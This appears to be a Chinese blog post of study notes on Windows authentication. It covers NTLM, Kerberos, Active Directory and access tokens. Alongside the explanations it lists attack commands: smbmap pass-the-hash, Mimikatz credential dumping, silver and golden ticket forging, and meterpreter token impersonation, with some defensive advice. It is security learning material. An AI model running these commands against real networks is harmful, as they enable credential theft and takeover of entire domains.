理解Windos认证

目录

1.密码的存放位置

2.NTLM(NT LAN Manager)Hash

3.NTLM Hash ---产生

4.本地认证流程

5.Windows 网络认证

6.NTLM(NT LAN Manager) 协议

7.NTLM v2协议

8.Pass The Hash(哈希传递)

9.Active Directory(活动目录)

10.域认证体系- Kerbroes

11.白银票据

12.黄金票据

13.Tickets总结

14.Windos Access Token


1.密码的存放位置

路径:%SystemRoot%\system32\config\sam,当我们登陆系统的时候,系统会自动的读取SAM文件中的“密码”与输入的“密码”进行对比,如果相同,证明认证成功。


2.NTLM(NT LAN Manager)Hash

NTLM Hash 是支持Net NTLM 认证协议以及本地认证过程中的一个重要参与物,其长度为32位,由数字以及字母组成。

在Windows本身不存储用户的明文密码,它会将用户的明文密码经过加密算法后存储在SAM数据库中。

当用于登陆时,将用户输入的明文密码也加密成NTLM Hash,与SAM 数据库中的NTLM Hash进行比较。NTLM Hash的前身是LM Hash,目前基本被淘汰,但是还是存在。


3.NTLM Hash ---产生


4.本地认证流程

Windows Logon Process(即 Winlogon.exe),是Windows和NT用户登陆程序,用于管理用户登陆和退出。

LSASS 用于微软Windows系统的安全机制。它用于本地安全和登陆策略

 


5.Windows 网络认证

在内网渗透中,经常遇到工作组环境,而工作组环境是一个逻辑上的网络环境(工作区),隶属于工作组的机器之间无法相互建立一个完美的信任机制,只能点对点,是比较落后的认证方式,没有信托机构。

假设A主机与B主机属于同一个工作组环境,A想访问B主机上的资料,需要将一个存在于B主机上的账户凭证发送给A主机,,经过认证才能够访问B主机上的资源

最常见的服务:SMB服务,端口:445


6.NTLM(NT LAN Manager) 协议

早期SMB协议在网路上传输明文口令。后来出现 LAN Manager Challenge/Response验证机制,简称LM,它是如此简单以至于很容易就被破解

微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。现在已经有了NTLMv2以及Kerberos验证体系

挑战(Challenge)/响应(Response)

第一步协商

客户端主要在这一步向服务器确认协议的版本,是V1还是v2,详细步骤不只这一点

第二步 质询完整过程

注:Net NTLM Hash = NTLM Hash(Challenge)

注:Response的表现形式是 Net-NTLM Hash,它是由客户端提供的密码Hash加密Server返回的Chanllenge产出的结果


7.NTLM v2协议

NTLM v1 与 NTLM v2 最显著的区别是Challenge与加密算法不同,共同点就是加密的原料都是NTLM Hash。

Challange:NTLM v1的Challenge有8位,NTLM v2的Challenge位16位

Net-NTLM Hash:NTLM v1的主要加密算法是DES(对称加密),NTLM v2的主要加密算法是HMAC-MD5


8.Pass The Hash(哈希传递)

哈希传递能够在不需要账户明文密码的情况下完成认证的一个技术

作用:

解决了渗透中获取不到明文密码,破解不了NTLM Hash而又想扩大战果的问题

条件:

被认证的主机能够访问到服务器

被传递认证的用户名

被传递认证用户的NTLM Hash

工具:

Smbmap

 smbmap ip -u administrator -H 哈希值 -x whoami

CrackMapExec

Smbexec

Metasploit


9.Active Directory(活动目录)

Active Directory存储了有关网络对象的信息,并且让管理员和用户能够轻松查找和使用这些信息。Active Directory使用了一种结构化的数据存储方式,并以此作为基础对目录信息进行合乎逻辑的分层组织。

网络对象分为:用户、用户组、计算机、域、组织单位以及安全策略

功能:

服务器以及客户端计算机管理/用户服务/资源管理/桌面配置/应用系统支撑


10.域认证体系- Kerbroes

Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。

该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址信任,不要求网络上所有主机的物理安全

​此过程假定网络上传送的数据包可以被任意地读取、修改和插入数据

kerberos作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享秘钥)执行认证服务。

域认证所参与的角色

Client

Server

KDC(key Distribution Center)=DC(Domain Controller)

  • AD(account database):存储所有client的白名单,只有存在于白名单的client才能顺利申请到TGT
  • AS  (Authentication Services):为client生成TGT(Ticket Granting Ticket)的服务
  • TGS(Ticket Granting Service):为client生成某个服务的ticket

大致过程

  • 1.Client请求Kerberos服务(请求中包含了Client Name 也就是用户名),如果主机名存在于ad中,就放回TGT给Client
  • 2.Client拿着TGT去向Kerbroes发起请求说需要指定服务的权限,TGS返回Ticket(Server Hash)给Client。
  • 3.Client拿着Ticket去请求登录服务,服务那边又会去问Kerbroes这个ticket是否是真实的,是就给通过,认证完成。

 

详细过程
 

第一步:

AS_REQ: Client向KDC发起AS_REQ,请求凭据是Client hash加密的时间

d

AS_REP: KDC使用Client hash进行解密,如果结果正确就返回用krbtgt hash加密的TGT票据,TGT里面包含PAC,PAC包含Client的sid,Client所在的组。

 

TGS_REQ: Client凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求

TGS_REP: KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash 加密的TGS票据(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据)

 


AP_REQ: Client拿着TGS票据去请求服务
AP_REP: 服务使用自己的hash解密TGS票据。如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限


11.白银票据

白银票据特点:

1.不需要与KDC进行交互

2.需要目标服务的NTLM Hash

在第三步认证中的Ticket的组成: Ticket=Server Hash(Server Session Key+Client info + End Time)

当拥有Server Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket。

PS:Server Session Key在未发送Ticket之前,服务器是不知道Server Session Key是干什么的,所以一切凭据都来源于Server Hash

白银票据的伪造:

Mimikatz:(现在在msf中改为了kiwi)

  • privilege::debug
  • kerberos::list #列出票据
  • kerberos::purge  #清除票据
  • sekurlsa::logonpasswords #获取service账户hash 和sid

我们也可以直接将kali中的mimikatz.exe通过meterpreter上传到目标机中

upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe 

然后运行

  • kerberos::golden /domain:<域名>/sid:<域SID>/target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名>/ptt

默认服务

由于白银票据需要目标服务器的Hash,所以没办法生成对应域内所有服务器的票据,也不能通过TGT申请。因此只能针对服务器上的某些服务区伪造。

防御

1.尽量保证服务器凭证不被窃取

2.开启PAC(Privileged Attribute Certificate)特权属性证书保护功能,PAC主要是规定服务器将票据发送给kerberos服务,由kerberos服务验证票据是否有效

开启方式:将注册表中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters中的ValidateKdcPacSignature设置为1


12.黄金票据

特点:

1.需要与DC通信

2.需要krbtgt用户的hash(也就是KDC Hash,TGT)

msf kiwi 伪造

meterpreter > golden_ticket_create -d 域名 -k NTLM_hash -s SID值 -u 名字 -t 票据存放位置
meterpreter >kerberos_ticket_list 票据存放路径

mimikatz 伪造

kerberos::golden /domain:<域名>/sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt

13.Tickets总结

黄金票据:从攻击面看,获取krbtgt用户的hash后,可以在域中进行持久性的隐藏,并且日志很难溯源,但是需要拿到DC权限,使用黄金票据能够在一个域环境中长时间控制整个域。

从防御角度看,需要经常更新krbtgt的密码,才能够使得原有的票据失效。最根本的办法是不允许域管账户登陆其他服务器。

白银票据:从攻击面看,伪造白银票据的难度比伪造黄金票据的难度较小,因为一个域中的服务器如果对外的话,非常容易被入侵,并且容易被转储Server Hash

从防御角度看,需要开启PAC认证,但这会降低认证效率,增加DC的负担,最根本的还是要加固服务器本身对外的服务。


14.Windos Access Token

Windows Token 其实叫Access Token(访问令牌),它是一个描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后,都会生成一个Access Token,这个Token在用户创建进程或者线程时都会被使用,不断的拷贝,这也就解释了A用户创建一个进程而该进程没有B用户的权限。

种类: Access Token分为两种(主令牌、模拟令牌)

一般情况下,用户双击运行一个程序,都会拷贝“exeploer.exe”的Access Token

当用户注销后,系统将会使主令牌切换为模拟令牌,不会加固令牌清除,只有在重启机器后才会清除。

组成

用户账户的安全标识符

用户所属的组的SID

用户标识当前登陆会话的登陆SID

用户或用户组所拥有的权限列表

所有者SID

主要组的SID

访问控制列表

访问令牌的来源

令牌是主要令牌还是模拟令牌

限制SID的可选列表

目前的模拟等级

其他统计数据

令牌假冒(msf)

meterpreter > list_tokens -u

 

DC访问共享

可以看到多处了一个token

这个时候我们伪造这个令牌

meterpreter > impersonate_token xxx\\Administrator

meterpreter > getuid Server username: xxx\Administrator

这个时候我们已经是域管理账户了

我们可以使用,假冒令牌进行执行

execute -t

防御

禁止Domain Admins 登陆对外且未做安全加固的服务器,因为一旦服务器被入侵,域管理员的令牌可能会被攻击者假冒,从而控制DC

如果想清除假冒,重启服务器即可。

 

注:文章内容部分摘抄自b站某个视频,仅仅作为笔记使用。

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值